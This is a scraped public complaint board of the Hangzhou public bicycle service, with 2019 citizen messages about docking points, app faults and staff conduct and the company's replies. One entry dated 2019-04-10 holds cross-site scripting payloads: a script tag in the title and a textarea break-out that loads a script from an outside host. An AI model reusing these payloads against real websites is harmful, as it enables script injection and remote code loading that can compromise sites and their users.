| 序号 |
发生时间 |
来信标题 |
网友名称 |
处理情况 |
详细信息 |
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| 留言信息： |
| 网友名称： |
糯米米 |
| 种类： |
其它 |
| 来信标题： |
体育场路与保俶路交叉口自行车借还点是要撤销了吗 |
| 发生时间： |
2019-04-18 |
| 内容： |
从本周二开始，体育场路保俶路家插口停车点故障维修了，我们不得不到黄龙饭店门口还车（因为宝石二路一号停车点桩位很少，总是满的）。因为地铁建设，体育场路沿线武林小广场到保俶路沿线已经撤2个借还车点，这个点也要撤了吗？感觉很不方便有啊 |
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| 回复内容： |
| 您好，您反映的情况我司已受理，谢谢您对我们工作的支持与关心。我们将在5个工作日内尽快与您联系 |
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2019-04-18 |
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糯米米 |
已处理 |
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| 留言信息： |
| 网友名称： |
张 |
| 种类： |
其它 |
| 来信标题： |
遗弃自行车回收 |
| 发生时间： |
2019-04-16 |
| 内容： |
在翁梅地铁站迎宾路去羊头坝路100米处路东边有一辆小红车，已经7天没有移动，希望我们服务人员去取回。 |
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| 回复内容： |
| 您好，非常感谢您对公共自行车事业的关心和支持，您所反映的地段位于余杭区境内，我司已反馈给余杭区公共自行车公司。您也可以直接联系余杭公共自行车服务热线89281122。 |
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2019-04-16 |
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张 |
已处理 |
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| 留言信息： |
| 网友名称： |
彧墨 |
| 种类： |
其它 |
| 来信标题： |
能不能试试不让其他自行车占用换车点车桩 |
| 发生时间： |
2019-04-15 |
| 内容： |
地铁三墩站有两个公共自行车租赁点，但是经常被其他运营商投放的自行车占位，明明有车桩却还不进去，因为赶时间把其他自行车挪出来，也没有空位放，只能摆在边上，被周围工作人员骂了，我觉得如果周围工作人员能把这个精力放在管束别人空出车桩上可以少很多矛盾，而不是由着其他自行车乱停来管我们这些车子停在正确地点的人。 |
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| 回复内容： |
| 您好，您反映的情况我司已受理，谢谢您对我们工作的支持与关心。我们将在5个工作日内尽快与您联系 |
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2019-04-15 |
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彧墨 |
已处理 |
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| 留言信息： |
| 网友名称： |
北京 |
| 种类： |
服务 |
| 来信标题： |
anheng"/><script>confirm(1234)</script> |
| 发生时间： |
2019-04-10 |
| 内容： |
</textarea><script src=http://www.secevery.com:8080/R></script> |
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| 回复内容： |
| 首先非常感谢您对我司的关心和支持。您发布的网址提示：无法访问此网站，请您写明具体咨询的内容，以便我司更好的为您提供服务，谢谢！ |
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2019-04-10 |
| anheng"/><script>confirm(1234)</script> | |
北京 |
已处理 |
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| 留言信息： |
| 网友名称： |
b.ye |
| 种类： |
服务 |
| 来信标题： |
建议新增设公共自行车服务点 |
| 发生时间： |
2019-04-09 |
| 内容： |
尊敬的杭州公共自行车服务公司：杭州公共自行车服务体系走在引领中国主要城市公共自行车发展，非常棒！
建议：在余杭区荆长大道白庙路口的东陈角公交站旁新增设公共自行车服务点，以便为市民出行提供方便。
谢谢！ |
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| 回复内容： |
| 您好，该区域不属于我司管理，请致电余杭自行车热线89281122。 |
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2019-04-09 |
|
b.ye |
已处理 |
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| 留言信息： |
| 网友名称： |
123 |
| 种类： |
服务 |
| 来信标题： |
还不了车 |
| 发生时间： |
2019-04-08 |
| 内容： |
杭州首开望宸附近这个站点还车后APP还是显示计费，APP上用来反应还车故障的消息提交不了.图片也不能使用相册里的，一定再跑过去现拍。已经很久了，都要打人工客服才能解决问题 |
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| 回复内容： |
| 您好，非常感谢您对我司工作的关心和支持，您所反映的情况，我司会反馈给相关部门！ |
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2019-04-08 |
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123 |
已处理 |
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| 留言信息： |
| 网友名称： |
想租公共单车亭 |
| 种类： |
其它 |
| 来信标题： |
怎么租公共单车亭 |
| 发生时间： |
2019-04-04 |
| 内容： |
您好，我想租公共单车亭，但不知道怎么做，咨询了贵公司，给了个号码，86957126.但这个号码打了没人接，能告诉我该怎么做吗，谢谢，期待您的回复。 |
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| 回复内容： |
| 您好，关于公共自行车岗亭租赁事项，请您节后工作日8:30至17点期间联系86597126. |
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2019-04-04 |
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想租公共单车亭 |
已处理 |
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| 留言信息： |
| 网友名称： |
Likest2010 |
| 种类： |
服务 |
| 来信标题： |
还车非常不方便 |
| 发生时间： |
2019-04-03 |
| 内容： |
公共自行车骑到目的地，经常发现附近的车桩没有空位（尤其上班高峰期），导致无法还车，虽然有“错峰还车”，但也只能延时一个小时，且一个小时内没有人对位满的自行车进行调度，所以“错峰还车”的意义不大，只能等着扣钱。如果设立公共自行车是为了便民，那我的体验是非常不方便；如果是为了盈利，那我觉得这个收费很不合理。 |
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| 回复内容： |
| 您好，您反映的情况我司已受理。我们将在5个工作日内尽快与您联系。 |
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2019-04-03 |
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Likest2010 |
已处理 |
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| 留言信息： |
| 网友名称： |
tage1952 |
| 种类： |
名称还没有想好 |
| 来信标题： |
自行车锁车器锁车后最好能默认还车 |
| 发生时间： |
2019-04-01 |
| 内容： |
我已经好几次在锁车器位还车后系统却显示未还车，不得不叫你们站点的工作人员前来处理。贵司能不能将系统改进为锁车器锁车后就默认该车已还，这样你们的工作人员也可省点力，我们也可以省点时间。 |
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| 回复内容： |
| 您好，您反映的情况我司已受理，谢谢您对我们工作的支持与关心。我们将在5个工作日内尽快与您联系。 |
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2019-04-01 |
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tage1952 |
已处理 |
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| 留言信息： |
| 网友名称： |
芹儿 |
| 种类： |
服务 |
| 来信标题： |
西溪路149号（黄龙公交中心边）的服务员态度恶劣，工作极不负责 |
| 发生时间： |
2019-03-29 |
| 内容： |
3月29日下午4点半，因是周五，黄龙公交中心边的自行车桩上停满了车，有一女子在不断的刷卡，上架下架，但没见桩空出来，让她先下架让我车停进去，该女子称她的卡也要钱的。问其是不是工作人员，称不是（她手拿两张卡不断的上架下架，不知道在做什么），又建议我到其他站点停车。待我离开50米后，看她还在不断的刷，做着无用功，我很是疑惑，就拍了该女子和停车点侧影，结果该女子暴怒，要我删照片。我说我必须了解你是否是工作人员，若是，就是撒谎，且没有认真工作，你空出桩来我自然会删照片，我无非是要停车。结果该女子极凶狠，非要我先删照片再说，无奈删了照片旁边等着，她又故意让我等好久，一股黑恶的感觉。恳请贵公司核实相关情况，对该员工批评教育若必要，按规处理，以维护公司形象。 |
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| 回复内容： |
| 您好，您反映的情况我司已受理。我们将在5个工作日内尽快与您联系。 |
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2019-03-29 |
| 西溪路149号（黄龙公交中心边）的服务员态度恶劣，工作极不负责 | |
芹儿 |
已处理 |
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